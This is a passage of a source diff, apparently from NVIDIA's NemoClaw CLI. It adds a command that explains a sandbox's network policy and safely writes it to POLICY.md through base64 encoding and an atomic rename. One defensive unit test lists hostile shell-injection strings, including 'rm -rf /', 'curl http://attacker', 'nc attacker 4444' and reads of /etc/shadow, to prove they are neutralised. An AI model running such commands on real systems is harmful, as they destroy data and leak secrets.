); + return { ...result, outcome: "failed" }; +} + +export { POLICY_CONTEXT_SANDBOX_PATH }; diff --git a/src/lib/actions/sandbox/policy-explain.test.ts b/src/lib/actions/sandbox/policy-explain.test.ts new file mode 100644 index 00000000000..81637ed7ded --- /dev/null +++ b/src/lib/actions/sandbox/policy-explain.test.ts @@ -0,0 +1,254 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from "vitest"; + +vi.mock("../../policy/context", () => ({ + buildPolicyContext: vi.fn(), + renderPolicyContextMarkdown: vi.fn(), +})); + +import type { PolicyContext } from "../../policy/context"; +import { + POLICY_CONTEXT_SANDBOX_PATH, + explainSandboxPolicy, + writePolicyContextToSandbox, +} from "./policy-explain"; + +function fakeContext(sandboxName: string): PolicyContext { + return { + sandboxName, + tier: null, + activePresets: [], + knownUnappliedPresets: [], + approvalPath: { + inspect: `nemoclaw ${sandboxName} policy-list`, + add: `nemoclaw ${sandboxName} policy-add `, + remove: `nemoclaw ${sandboxName} policy-remove `, + documentation: "docs/network-policy/customize-network-policy.mdx", + }, + supportBoundaries: [], + generatedAt: "2026-06-07T00:00:00.000Z", + }; +} + +describe("explainSandboxPolicy", () => { + it("renders the policy context as markdown by default", () => { + const build = vi.fn(fakeContext); + const render = vi.fn(() => "# rendered\n"); + const log = vi.fn(); + const logJson = vi.fn(); + const exec = vi.fn(); + + const ctx = explainSandboxPolicy( + "alpha", + {}, + { build, render, log, logJson, exec }, + ); + + expect(build).toHaveBeenCalledWith("alpha"); + expect(render).toHaveBeenCalledWith(ctx); + expect(log).toHaveBeenCalledWith("# rendered\n"); + expect(logJson).not.toHaveBeenCalled(); + expect(exec).not.toHaveBeenCalled(); + }); + + it("emits JSON when the json flag is set", () => { + const build = vi.fn(fakeContext); + const render = vi.fn(); + const log = vi.fn(); + const logJson = vi.fn(); + const exec = vi.fn(); + + const ctx = explainSandboxPolicy( + "alpha", + { json: true }, + { build, render, log, logJson, exec }, + ); + + expect(logJson).toHaveBeenCalledWith(ctx); + expect(log).not.toHaveBeenCalled(); + expect(render).not.toHaveBeenCalled(); + expect(exec).not.toHaveBeenCalled(); + }); + + it("writes the rendered context into the sandbox when writeToSandbox is set", () => { + const build = vi.fn(fakeContext); + const render = vi.fn(() => "# rendered\n"); + const log = vi.fn(); + const logJson = vi.fn(); + const exec = vi.fn((_sandbox: string, _command: string) => ({ + status: 0, + stdout: "", + stderr: "", + })); + const warn = vi.fn(); + + explainSandboxPolicy( + "alpha", + { writeToSandbox: true }, + { build, render, log, logJson, exec, warn }, + ); + + expect(exec).toHaveBeenCalledTimes(1); + const command = exec.mock.calls[0][1]; + expect(command).toContain(POLICY_CONTEXT_SANDBOX_PATH); + expect(command).toContain("base64 -d"); + expect(warn).not.toHaveBeenCalled(); + }); + + it("warns when --write cannot reach the sandbox", () => { + const build = vi.fn(fakeContext); + const render = vi.fn(() => "# rendered\n"); + const log = vi.fn(); + const logJson = vi.fn(); + const exec = vi.fn(() => null); + const warn = vi.fn(); + + explainSandboxPolicy( + "alpha", + { writeToSandbox: true }, + { build, render, log, logJson, exec, warn }, + ); + + expect(warn).toHaveBeenCalledTimes(1); + expect(warn.mock.calls[0][0]).toContain("sandbox unreachable"); + expect(warn.mock.calls[0][0]).toContain(POLICY_CONTEXT_SANDBOX_PATH); + }); + + it("warns when --write fails with a non-zero exit", () => { + const build = vi.fn(fakeContext); + const render = vi.fn(() => "# rendered\n"); + const log = vi.fn(); + const logJson = vi.fn(); + const exec = vi.fn(() => ({ status: 13, stdout: "", stderr: "denied" })); + const warn = vi.fn(); + + explainSandboxPolicy( + "alpha", + { writeToSandbox: true }, + { build, render, log, logJson, exec, warn }, + ); + + expect(warn).toHaveBeenCalledTimes(1); + expect(warn.mock.calls[0][0]).toContain("status 13"); + }); +}); + +describe("writePolicyContextToSandbox", () => { + it("encodes the rendered markdown as base64 and pipes it through base64 -d", () => { + const build = vi.fn(fakeContext); + const render = vi.fn(() => "hello sandbox\n"); + const exec = vi.fn((_sandbox: string, _command: string) => ({ + status: 0, + stdout: "", + stderr: "", + })); + + const result = writePolicyContextToSandbox("alpha", { build, render, exec }); + + expect(result.written).toBe(true); + expect(exec).toHaveBeenCalledTimes(1); + const command = exec.mock.calls[0][1]; + const encoded = Buffer.from("hello sandbox\n", "utf-8").toString("base64"); + expect(command).toContain(encoded); + expect(command).toContain(POLICY_CONTEXT_SANDBOX_PATH); + }); + + it("stages the payload in a sibling temp file and atomically replaces the target without following symlinks", () => { + const build = vi.fn(fakeContext); + const render = vi.fn(() => "payload\n"); + const exec = vi.fn((_sandbox: string, _command: string) => ({ + status: 0, + stdout: "", + stderr: "", + })); + + writePolicyContextToSandbox("alpha", { build, render, exec }); + + const command = exec.mock.calls[0][1]; + // Payload must land in a freshly-minted temp file under the workspace + // directory before any rename — never written directly to the final + // path. + expect(command).toContain("mktemp /sandbox/.openclaw/workspace/.POLICY.md.XXXXXX"); + // The atomic replace must use rename(2) semantics — `mv -fT` operates + // on the link itself rather than the target of a symlink, so a + // pre-existing POLICY.md symlink is replaced, never followed. + expect(command).toMatch(/mv -fT -- "\$__pm_tmp" \/sandbox\/\.openclaw\/workspace\/POLICY\.md/); + // The legacy direct-redirect-into-target form must not appear — that + // form would write through a pre-existing symlink and is the failure + // mode this contract guards against. + expect(command).not.toMatch(/> \/sandbox\/\.openclaw\/workspace\/POLICY\.md/); + }); + + it("returns sandbox-unreachable when exec yields null", () => { + const build = vi.fn(fakeContext); + const render = vi.fn(() => "x"); + const exec = vi.fn(() => null); + + const result = writePolicyContextToSandbox("alpha", { build, render, exec }); + + expect(result.written).toBe(false); + expect(result.reason).toBe("sandbox unreachable"); + expect(result.failure).toBe("sandbox-unreachable"); + }); + + it("returns a descriptive reason when the sandbox command exits non-zero", () => { + const build = vi.fn(fakeContext); + const render = vi.fn(() => "x"); + const exec = vi.fn(() => ({ status: 13, stdout: "", stderr: "denied" })); + + const result = writePolicyContextToSandbox("alpha", { build, render, exec }); + + expect(result.written).toBe(false); + expect(result.reason).toContain("status 13"); + expect(result.reason).toContain("denied"); + }); + + it("encodes hostile markdown payloads as base64 so they cannot break out of the write command", () => { + const hostile = [ + "'; rm -rf / #", + "$(curl http://attacker)", + "`whoami`", + "| nc attacker 4444", + "> /etc/passwd", + "&& shutdown -h now", + "\n; cat /etc/shadow", + "newline\r\nthen evil", + "$IFS$9 sh -c 'curl evil'", + ].join("\n"); + const build = vi.fn(fakeContext); + const render = vi.fn(() => hostile); + const exec = vi.fn((_sandbox: string, _command: string) => ({ + status: 0, + stdout: "", + stderr: "", + })); + + writePolicyContextToSandbox("alpha", { build, render, exec }); + + const command = exec.mock.calls[0][1]; + const encoded = Buffer.from(hostile, "utf-8").toString("base64"); + expect(command).toContain(encoded); + // The hostile payload itself must never appear verbatim in the shell + // command — only its base64 encoding may appear. + for (const token of [ + "rm -rf", + "curl http://attacker", + "whoami", + "nc attacker", + "/etc/passwd", + "shutdown -h", + "/etc/shadow", + "evil", + ]) { + expect(command).not.toContain(token); + } + // The constant target path is the only path interpolated into the + // command — guard against future regressions that swap it for a + // variable. + expect(command).toContain(POLICY_CONTEXT_SANDBOX_PATH); + const occurrences = command.split(POLICY_CONTEXT_SANDBOX_PATH).length - 1; + expect(occurrences).toBeGreaterThanOrEqual(1); + }); +}); diff --git a/src/lib/actions/sandbox/policy-explain.ts b/src/lib/actions/sandbox/policy-explain.ts new file mode 100644 index 00000000000..e7bcd4df31a --- /dev/null +++ b/src/lib/actions/sandbox/policy-explain.ts @@ -0,0 +1,217 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Host-side write path for the agent-facing policy context file. The + * shell command construction (payload encoding, atomic mv replacement, + * symlink resistance) and the failure-routing contract are pinned by the + * unit tests in this directory. The cross-boundary runtime behaviour — + * the file actually appearing inside the sandbox with the expected mode, + * symlinks at the target being replaced rather than followed, and the + * refresh firing only after a successful policy mutation — is exercised + * end-to-end by the `network-policy-e2e` and `channels-add-remove-e2e` + * jobs under `test/e2e/`, which spin up a real OpenShell sandbox and run + * the full `policy-add`/`policy-remove`/`rebuild` flow. The unit + * harness intentionally stays inside the JS process; runtime regressions + * surface in those e2e jobs before merge. + */ + +import { + buildPolicyContext, + type PolicyContext, + renderPolicyContextMarkdown, +} from "../../policy/context"; + +export const POLICY_CONTEXT_SANDBOX_PATH = "/sandbox/.openclaw/workspace/POLICY.md"; + +export type SandboxExec = ( + sandboxName: string, + command: string, +) => { status: number; stdout: string; stderr: string } | null; + +export interface ExplainPolicyOptions { + json?: boolean; + writeToSandbox?: boolean; +} + +export interface ExplainPolicyDeps { + build?: (sandboxName: string) => PolicyContext; + render?: (ctx: PolicyContext) => string; + log?: (line: string) => void; + logJson?: (value: unknown) => void; + exec?: SandboxExec; + warn?: (line: string) => void; +} + +export interface WritePolicyContextResult { + written: boolean; + reason?: string; + /** + * Set to `unexpected-loader` when the executor loader caught an + * import/resolve error (cycle, missing module, process-recovery + * regression). Callers use this to distinguish a legitimate + * `sandbox unreachable` from a code regression that needs surfacing. + */ + failure?: "loader-vitest" | "no-runtime" | "unexpected-loader" | "sandbox-unreachable" | "exec-failed"; + /** Error captured by the loader, if any. */ + errorMessage?: string; +} + +type ExecutorLoad = + | { kind: "ok"; exec: SandboxExec } + | { kind: "vitest" } + | { kind: "no-runtime" } + | { kind: "crashed"; error: Error }; + +/** + * Lazy executor loader. The seed runs from policy mutation hooks and from + * the onboard policy step, both of which can be called from contexts that + * have no OpenShell binary (unit tests, host-side dev shells before the + * runtime is installed). The loader returns a tagged union so callers can + * distinguish three expected boundary conditions from a regression: + * + * - `vitest`: `process.env.VITEST === "true"`. Tests never spawn + * OpenShell. The seed is silently inert in the test process without + * requiring every consumer test to mock {@link writePolicyContextToSandbox}. + * - `no-runtime`: `resolveOpenshell()` returned null (no binary on PATH, + * stale path, X_OK fail). The sandbox surface genuinely cannot spawn + * OpenShell; treat as `sandbox unreachable` and warn at most once per + * call site at the caller's discretion. + * - `crashed`: require/resolve threw. Either an import cycle, a missing + * module, or a process-recovery regression. Callers must route this + * through the refresh helper's `unexpected` sink so a code regression + * is not silently treated as `sandbox unreachable`. + * + * Once the loader returns `ok`, ownership of the actual subprocess call + * lives in `process-recovery`'s {@link executeSandboxCommand}, which is + * the single source of truth for sandbox SSH spawning. This function + * does not invent a parallel spawn pipeline. + */ +function loadExecutor(): ExecutorLoad { + if (process.env.VITEST === "true") return { kind: "vitest" }; + try { + // eslint-disable-next-line @typescript-eslint/no-require-imports + const resolve = require("../../adapters/openshell/resolve") as { + resolveOpenshell?: () => string | null; + }; + const resolved = resolve.resolveOpenshell ? resolve.resolveOpenshell() : null; + if (!resolved) return { kind: "no-runtime" }; + // eslint-disable-next-line @typescript-eslint/no-require-imports + const recovery = require("./process-recovery") as { + executeSandboxCommand: SandboxExec; + }; + return { kind: "ok", exec: recovery.executeSandboxCommand }; + } catch (error: unknown) { + return { + kind: "crashed", + error: error instanceof Error ? error : new Error(String(error)), + }; + } +} + +/** + * Render the in-sandbox write command. Four explicit safety guarantees: + * + * - The markdown payload is base64-encoded before it is interpolated into + * the shell string, so anything in the rendered context — quotes, + * semicolons, backticks, command substitutions, redirections, newlines — + * reaches `base64 -d` as inert data rather than the parent shell. The + * hostile-markdown negative test in policy-explain.test.ts guards this. + * - The destination path is the module-scoped constant + * {@link POLICY_CONTEXT_SANDBOX_PATH}. We do not accept user-controlled + * paths here; any future caller that wants a variable path must + * shell-quote it before reaching this helper. + * - The intermediate `mkdir -p` and `chmod 0644` reuse the same constant + * path so the command never mixes interpolated user data with shell + * tokens. The `dir` derivation is a string operation on the constant + * path and never sees external input. + * - The payload is first written to a freshly-created sibling temp file + * with restrictive permissions (umask 077 + mktemp template), then + * atomically replaces the target via `mv -fT`. Replacement uses the + * `rename(2)` semantics, which acts on the link itself rather than the + * target of a symlink, so an in-sandbox attacker who pre-created + * POLICY.md as a symlink cannot redirect the policy-context write into + * another file reachable from the sandbox user. `mv -fT` additionally + * refuses to descend into a directory pre-staged at the target path. + */ +function buildWriteCommand(markdown: string, targetPath: string): string { + const encoded = Buffer.from(markdown, "utf-8").toString("base64"); + const dir = targetPath.replace(/\/[^/]+$/, "") || "/"; + return [ + `mkdir -p ${dir}`, + "umask 077", + `__pm_tmp=$(mktemp ${dir}/.POLICY.md.XXXXXX)`, + `printf '%s' '${encoded}' | base64 -d > "$__pm_tmp"`, + `chmod 0644 "$__pm_tmp"`, + `mv -fT -- "$__pm_tmp" ${targetPath}`, + ].join(" && "); +} + +export function writePolicyContextToSandbox( + sandboxName: string, + deps: ExplainPolicyDeps = {}, +): WritePolicyContextResult { + const build = deps.build ?? buildPolicyContext; + const render = deps.render ?? renderPolicyContextMarkdown; + let exec: SandboxExec | undefined = deps.exec; + if (!exec) { + const load = loadExecutor(); + if (load.kind === "vitest") { + return { written: false, reason: "sandbox unreachable", failure: "loader-vitest" }; + } + if (load.kind === "no-runtime") { + return { written: false, reason: "sandbox unreachable", failure: "no-runtime" }; + } + if (load.kind === "crashed") { + return { + written: false, + reason: `policy-context executor failed to load: ${load.error.message}`, + failure: "unexpected-loader", + errorMessage: load.error.message, + }; + } + exec = load.exec; + } + const ctx = build(sandboxName); + const markdown = render(ctx); + const command = buildWriteCommand(markdown, POLICY_CONTEXT_SANDBOX_PATH); + const result = exec(sandboxName, command); + if (result === null) { + return { written: false, reason: "sandbox unreachable", failure: "sandbox-unreachable" }; + } + if (result.status !== 0) { + return { + written: false, + reason: `write failed (status ${String(result.status)}): ${result.stderr || "(no stderr)"}`, + failure: "exec-failed", + }; + } + return { written: true }; +} + +export function explainSandboxPolicy( + sandboxName: string, + options: ExplainPolicyOptions = {}, + deps: ExplainPolicyDeps = {}, +): PolicyContext { + const build = deps.build ?? buildPolicyContext; + const render = deps.render ?? renderPolicyContextMarkdown; + const log = deps.log ?? ((line: string) => console.log(line)); + const logJson = + deps.logJson ?? ((value: unknown) => console.log(JSON.stringify(value, null, 2))); + const warn = deps.warn ?? ((line: string) => console.error(line)); + const ctx = build(sandboxName); + if (options.json) { + logJson(ctx); + } else { + log(render(ctx)); + } + if (options.writeToSandbox) { + const writeResult = writePolicyContextToSandbox(sandboxName, { ...deps, build, render }); + if (!writeResult.written) { + const detail = writeResult.reason ?? "unknown reason"; + warn(` Could not seed ${POLICY_CONTEXT_SANDBOX_PATH}: ${detail}.`); + } + } + return ctx; +} diff --git a/src/lib/cli/command-registry.test.ts b/src/lib/cli/command-registry.test.ts index 92d9764ab1e..41d3d7c83c8 100644 --- a/src/lib/cli/command-registry.test.ts +++ b/src/lib/cli/command-registry.test.ts @@ -55,11 +55,11 @@ describe("command-registry", () => { }); describe("sandboxCommands()", () => { - it("should return exactly 42 entries", () => { - // 36 visible + 6 hidden (shields×3 + config get/set/rotate-token). - // 36 visible includes the sessions group (root + list + reset + delete) + it("should return exactly 43 entries", () => { + // 37 visible + 6 hidden (shields×3 + config get/set/rotate-token). + // 37 visible includes the sessions group (root + list + reset + delete) // and the agents pair (add + delete). - expect(sandboxCommands()).toHaveLength(42); + expect(sandboxCommands()).toHaveLength(43); }); it("every entry has scope sandbox", () => { @@ -213,9 +213,9 @@ describe("command-registry", () => { }); describe("sandboxActionTokens()", () => { - it("returns exactly 25 unique action tokens including empty string", () => { + it("returns exactly 26 unique action tokens including empty string", () => { const tokens = sandboxActionTokens(); - expect(tokens).toHaveLength(25); + expect(tokens).toHaveLength(26); // Must contain every first-level sandbox action plus the empty default action. const expected = new Set([ "agents", @@ -226,6 +226,7 @@ describe("command-registry", () => { "doctor", "logs", "policy-add", + "policy-explain", "policy-remove", "policy-list", "hosts-add", diff --git a/src/lib/cli/public-argv-translation.test.ts b/src/lib/cli/public-argv-translation.test.ts index 76925d99a81..80a474b0c78 100644 --- a/src/lib/cli/public-argv-translation.test.ts +++ b/src/lib/cli/public-argv-translation.test.ts @@ -88,6 +88,7 @@ describe("public route/display separation", () => { "sandbox:hosts:list", "sandbox:hosts:remove", "sandbox:policy:add", + "sandbox:policy:explain", "sandbox:policy:list", "sandbox:policy:remove", ]); diff --git a/src/lib/cli/public-display-defaults.ts b/src/lib/cli/public-display-defaults.ts index a4131199851..a68758776d2 100644 --- a/src/lib/cli/public-display-defaults.ts +++ b/src/lib/cli/public-display-defaults.ts @@ -283,6 +283,14 @@ const PUBLIC_DISPLAY_LAYOUT: Record = { "flags": "(--yes, -y, --dry-run, --from-file , --from-dir )" } ], + "sandbox:policy:explain": [ + { + "group": "Policy Presets", + "order": 20, + "description": "Explain the active policy context for an agent (redacted)", + "flags": "(--json, --write)" + } + ], "sandbox:policy:list": [ { "group": "Policy Presets", diff --git a/src/lib/cli/public-route-metadata.ts b/src/lib/cli/public-route-metadata.ts index 34149c129e2..762dfc1fcc2 100644 --- a/src/lib/cli/public-route-metadata.ts +++ b/src/lib/cli/public-route-metadata.ts @@ -26,6 +26,7 @@ export const SANDBOX_ROUTE_OVERRIDES: Record = { "sandbox:hosts:list": ["hosts-list"], "sandbox:hosts:remove": ["hosts-remove"], "sandbox:policy:add": ["policy-add"], + "sandbox:policy:explain": ["policy-explain"], "sandbox:policy:list": ["policy-list"], "sandbox:policy:remove": ["policy-remove"], }; diff --git a/src/lib/onboard.ts b/src/lib/onboard.ts index b31d0f12f26..bbbd918b11c 100644 --- a/src/lib/onboard.ts +++ b/src/lib/onboard.ts @@ -5789,7 +5789,7 @@ async function setupPoliciesWithSelection( sandboxName: string, options: SetupPolicySelectionOptions = {}, ) { - const selectedTier = await setupPoliciesWithSelectionImpl( + return setupPoliciesWithSelectionImpl( { policies, tiers, @@ -5808,7 +5808,6 @@ async function setupPoliciesWithSelection( sandboxName, options, ); - return selectedTier; } const { diff --git a/src/lib/onboard/policy-context-seed.test.ts b/src/lib/onboard/policy-context-seed.test.ts new file mode 100644 index 00000000000..8367a9e0598 --- /dev/null +++ b/src/lib/onboard/policy-context-seed.test.ts @@ -0,0 +1,101 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from "vitest"; + +import { seedInitialPolicyContext } from "./policy-context-seed"; + +describe("seedInitialPolicyContext", () => { + it("calls the injected refresh function with the sandbox name", () => { + const refresh = vi.fn(() => ({ outcome: "ok" })); + const logError = vi.fn(); + + seedInitialPolicyContext("alpha", { refresh, logError }); + + expect(refresh).toHaveBeenCalledWith("alpha"); + expect(logError).not.toHaveBeenCalled(); + }); + + it("logs once on stderr when the refresh function throws", () => { + const refresh = vi.fn(() => { + throw new Error("require failed: cannot find module"); + }); + const logError = vi.fn(); + + seedInitialPolicyContext("alpha", { refresh, logError }); + + expect(refresh).toHaveBeenCalledTimes(1); + expect(logError).toHaveBeenCalledTimes(1); + expect(logError.mock.calls[0][0]).toContain("[onboard]"); + expect(logError.mock.calls[0][0]).toContain("require failed"); + }); + + it("stringifies non-Error throws so the log never silently drops the cause", () => { + const refresh = vi.fn(() => { + // eslint-disable-next-line no-throw-literal + throw "broken-string"; + }); + const logError = vi.fn(); + + seedInitialPolicyContext("alpha", { refresh, logError }); + + expect(logError.mock.calls[0][0]).toContain("broken-string"); + }); + + it("does not rethrow — the onboard run continues even when the refresh helper crashes", () => { + const refresh = vi.fn(() => { + throw new Error("crash"); + }); + const logError = vi.fn(); + + expect(() => seedInitialPolicyContext("alpha", { refresh, logError })).not.toThrow(); + }); + + it("isolates process.exit calls inside refresh from the surrounding caller", () => { + // The refresh path can call `process.exit(1)` via the openshell spawn + // helpers. When the caller is rebuild.ts (which itself overrides + // process.exit to flag onboard failure), an unisolated exit corrupts + // the rebuild's recovery flag even though the seed is meant to be + // best-effort. The seed must shadow `process.exit` so any exit attempt + // the refresh path makes becomes a swallowed error. + const exitCalls: Array = []; + const installerExit = ((code?: number) => { + exitCalls.push(code); + throw new Error(`installer exit ${String(code)}`); + }) as typeof process.exit; + const original = process.exit; + process.exit = installerExit; + + const refresh = vi.fn(() => { + // Mimic the openshell spawn-error path that calls process.exit(1). + process.exit(1); + }); + const logError = vi.fn(); + + try { + seedInitialPolicyContext("alpha", { refresh, logError }); + } finally { + process.exit = original; + } + + // The installer-level process.exit must not have fired — the seed's + // own shadow replaced it for the duration of the refresh. + expect(exitCalls).toEqual([]); + expect(logError).toHaveBeenCalledTimes(1); + expect(logError.mock.calls[0][0]).toContain("process.exit(1)"); + }); + + it("restores process.exit after the refresh returns, regardless of throw or success", () => { + const original = process.exit; + const refresh = vi.fn(() => undefined); + + seedInitialPolicyContext("alpha", { refresh, logError: vi.fn() }); + expect(process.exit).toBe(original); + + const refreshThrows = vi.fn(() => { + throw new Error("boom"); + }); + seedInitialPolicyContext("alpha", { refresh: refreshThrows, logError: vi.fn() }); + expect(process.exit).toBe(original); + }); +}); diff --git a/src/lib/onboard/policy-context-seed.ts b/src/lib/onboard/policy-context-seed.ts new file mode 100644 index 00000000000..fc48f9feff7 --- /dev/null +++ b/src/lib/onboard/policy-context-seed.ts @@ -0,0 +1,90 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Best-effort seed of the in-sandbox policy context file after the onboard + * policy step. The refresh helper classifies the runtime outcome (`ok` / + * `unreachable` / `failed` / `crashed`) and warns on `failed` paths; this + * wrapper additionally guards against build-time regressions in the + * require/build/render chain so any thrown error from those phases is logged + * once on stderr instead of dropping the onboard run. + * + * The dynamic require avoids a circular import between the onboard module + * and the actions/sandbox refresh helper (the latter depends on policy + * registry code that policy-selection itself initialises). Tests inject the + * refresh function via {@link SeedPolicyContextDeps} and never hit the + * dynamic require path. + */ + +export interface SeedPolicyContextDeps { + /** + * Concrete refresh implementation. Defaults to a dynamic require of + * `../actions/sandbox/policy-context-refresh` so the dependency cycle is + * broken at the import-time graph but tests can pass an in-memory fake. + */ + refresh?: (sandboxName: string) => unknown; + + /** + * Sink for the single-line log message emitted when {@link refresh} + * throws. Defaults to `console.error` so the onboard transcript carries + * the message without aborting the surrounding run. + */ + logError?: (message: string) => void; +} + +function defaultRefresh(sandboxName: string): unknown { + // eslint-disable-next-line @typescript-eslint/no-require-imports + const mod = require("../actions/sandbox/policy-context-refresh") as { + refreshSandboxPolicyContextFile: (name: string) => unknown; + }; + return mod.refreshSandboxPolicyContextFile(sandboxName); +} + +const defaultLog = (message: string): void => { + console.error(message); +}; + +export function seedInitialPolicyContext( + sandboxName: string, + deps: SeedPolicyContextDeps = {}, +): void { + const refresh = deps.refresh ?? defaultRefresh; + const logError = deps.logError ?? defaultLog; + // The refresh path eventually reaches `executeSandboxCommand` → + // `captureSandboxSshConfig` → `captureOpenshellCommand`, which calls + // `process.exit(1)` from `handleSpawnError` on any `spawnSync`-level + // error (ENOENT, EMFILE, ETIMEDOUT, …) regardless of `ignoreError`. + // When the onboard host is rebuild.ts, that exit fires inside rebuild's + // overridden `process.exit` and corrupts the post-onboard recovery flag + // even though the seed is supposed to be best-effort. Shadow + // `process.exit` for the duration of the call so any exit attempt the + // refresh helper triggers becomes a thrown error we can swallow without + // leaking the exit signal to the surrounding onboard run. + // + // Removal condition: this monkey-patch must stay until + // `src/lib/adapters/openshell/client.ts:handleSpawnError` (and the + // `captureSandboxSshConfigCommand` / `captureOpenshellCommand` callers + // in `src/lib/adapters/openshell/runtime.ts`) grow a "non-exiting" + // mode for best-effort callers — at which point `executeSandboxCommand` + // can return `null` on spawn failure rather than exiting and the seed + // can drop the shadow. Refresh must remain synchronous as long as the + // shadow is in place; an async refresh would let the surrounding + // `process.exit = savedExit` restoration fire before a deferred + // callback runs, defeating the isolation. + const savedExit = process.exit; + process.exit = ((code: number | undefined): never => { + const message = + typeof code === "number" + ? `policy-context refresh attempted process.exit(${String(code)})` + : "policy-context refresh attempted process.exit()"; + throw new Error(message); + }) as typeof process.exit; + try { + refresh(sandboxName); + } catch (error: unknown) { + const message = error instanceof Error ? error.message : String(error); + logError(` [onboard] Could not seed sandbox policy context: ${message}`); + } finally { + process.exit = savedExit; + } +} diff --git a/src/lib/onboard/policy-selection.ts b/src/lib/onboard/policy-selection.ts index 21848e246f0..194f3dbd41b 100644 --- a/src/lib/onboard/policy-selection.ts +++ b/src/lib/onboard/policy-selection.ts @@ -24,6 +24,7 @@ import { mergeRequiredOpenclawOtelPolicyPresets, requiredOpenclawOtelPolicyPresets, } from "./openclaw-otel-policy-presets"; +import { seedInitialPolicyContext } from "./policy-context-seed"; import { withPolicyApplicationTrace } from "./tracing"; type Preset = { name: string; access?: string }; @@ -286,9 +287,11 @@ export async function setupPoliciesWithSelection( sandboxName: string, options: SetupPolicySelectionOptions = {}, ): Promise { - return withPolicyApplicationTrace(sandboxName, options, () => + const chosen = await withPolicyApplicationTrace(sandboxName, options, () => setupPoliciesWithSelectionInner(deps, sandboxName, options), ); + seedInitialPolicyContext(sandboxName); + return chosen; } async function setupPoliciesWithSelectionInner( diff --git a/src/lib/policy/context.test.ts b/src/lib/policy/context.test.ts new file mode 100644 index 00000000000..973e32f75a7 --- /dev/null +++ b/src/lib/policy/context.test.ts @@ -0,0 +1,278 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from "vitest"; + +vi.mock("../state/registry", () => ({ + getSandbox: vi.fn(), + getCustomPolicies: vi.fn(() => []), +})); + +vi.mock(".", () => ({ + getPresetEndpoints: vi.fn(), + getGatewayPresets: vi.fn(() => null), + listCustomPresets: vi.fn(), + listPresets: vi.fn(), + loadPreset: vi.fn(), +})); + +vi.mock("./tiers", () => ({ + getTier: vi.fn(), +})); + +import * as registry from "../state/registry"; +import * as policies from "."; +import { getTier } from "./tiers"; +import { + buildPolicyContext, + renderPolicyContextMarkdown, +} from "./context"; + +const SANDBOX = "alpha"; + +const SLACK_PRESET_YAML = `preset: + name: slack + description: Slack API access +network_policies: + slack: + endpoints: + - host: slack.com + - host: api.slack.com +`; + +const GITHUB_PRESET_YAML = `preset: + name: github + description: GitHub API access +network_policies: + github: + endpoints: + - host: api.github.com +`; + +const PRESET_CONTENT: Record = { + slack: SLACK_PRESET_YAML, + github: GITHUB_PRESET_YAML, +}; + +function mockBuiltinPresets() { + vi.mocked(policies.listPresets).mockReturnValue([ + { file: "slack.yaml", name: "slack", description: "Slack API access" }, + { file: "github.yaml", name: "github", description: "GitHub API access" }, + ]); + vi.mocked(policies.listCustomPresets).mockReturnValue([]); + vi.mocked(policies.loadPreset).mockImplementation( + (name: string) => PRESET_CONTENT[name] ?? null, + ); + vi.mocked(policies.getPresetEndpoints).mockImplementation((content: string) => { + const hosts: string[] = []; + const regex = /host:\s*(\S+)/g; + let match: RegExpExecArray | null = null; + while ((match = regex.exec(content)) !== null) { + hosts.push(match[1]); + } + return hosts; + }); +} + +function stubRegistry(entry: Partial<{ policies: string[]; policyTier: string }>) { + vi.mocked(registry.getSandbox).mockReturnValue({ + name: SANDBOX, + policies: entry.policies, + policyTier: entry.policyTier ?? null, + } as ReturnType); +} + +function stubTier() { + vi.mocked(getTier).mockReturnValue({ + name: "balanced", + label: "Balanced", + description: "Full dev tooling and web search", + presets: [], + }); +} + +function resetMocks() { + vi.mocked(registry.getSandbox).mockReset(); + vi.mocked(registry.getCustomPolicies).mockReset(); + vi.mocked(registry.getCustomPolicies).mockReturnValue([]); + vi.mocked(policies.listPresets).mockReset(); + vi.mocked(policies.listCustomPresets).mockReset(); + vi.mocked(policies.loadPreset).mockReset(); + vi.mocked(policies.getPresetEndpoints).mockReset(); + vi.mocked(policies.getGatewayPresets).mockReset(); + vi.mocked(policies.getGatewayPresets).mockReturnValue(null); + vi.mocked(getTier).mockReset(); +} + +describe("buildPolicyContext", () => { + it("partitions active presets from known unapplied presets and resolves the tier", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack"], policyTier: "balanced" }); + + const ctx = buildPolicyContext(SANDBOX); + + expect(ctx.sandboxName).toBe(SANDBOX); + expect(ctx.tier).toEqual({ + name: "balanced", + label: "Balanced", + description: "Full dev tooling and web search", + }); + expect(ctx.activePresets.map((p) => p.name)).toEqual(["slack"]); + expect(ctx.activePresets[0].allowedHostCategories).toEqual([ + "api.slack.com", + "slack.com", + ]); + expect(ctx.activePresets[0].source).toBe("builtin"); + expect(ctx.activePresets[0].redactedHostCount).toBe(0); + expect(ctx.activePresets[0].verification).toBe("gateway-unavailable"); + expect(ctx.knownUnappliedPresets.map((p) => p.name)).toEqual(["github"]); + expect(ctx.approvalPath.inspect).toBe(`nemoclaw ${SANDBOX} policy-list`); + expect(ctx.approvalPath.add).toBe(`nemoclaw ${SANDBOX} policy-add `); + expect(ctx.approvalPath.remove).toBe(`nemoclaw ${SANDBOX} policy-remove `); + expect(ctx.supportBoundaries.some((b) => b.capability === "host allowlist enforcement")) + .toBe(true); + }); + + it("marks active presets as `verified` when the gateway agrees and `registry-only` when it disagrees", () => { + resetMocks(); + mockBuiltinPresets(); + stubTier(); + stubRegistry({ policies: ["slack", "github"], policyTier: "balanced" }); + + const ctx = buildPolicyContext(SANDBOX, { gatewayPresets: ["slack"] }); + + const slack = ctx.activePresets.find((p) => p.name === "slack"); + const github = ctx.activePresets.find((p) => p.name === "github"); + expect(slack?.verification).toBe("verified"); + expect(github?.verification).toBe("registry-only"); + }); + + it("surfaces presets 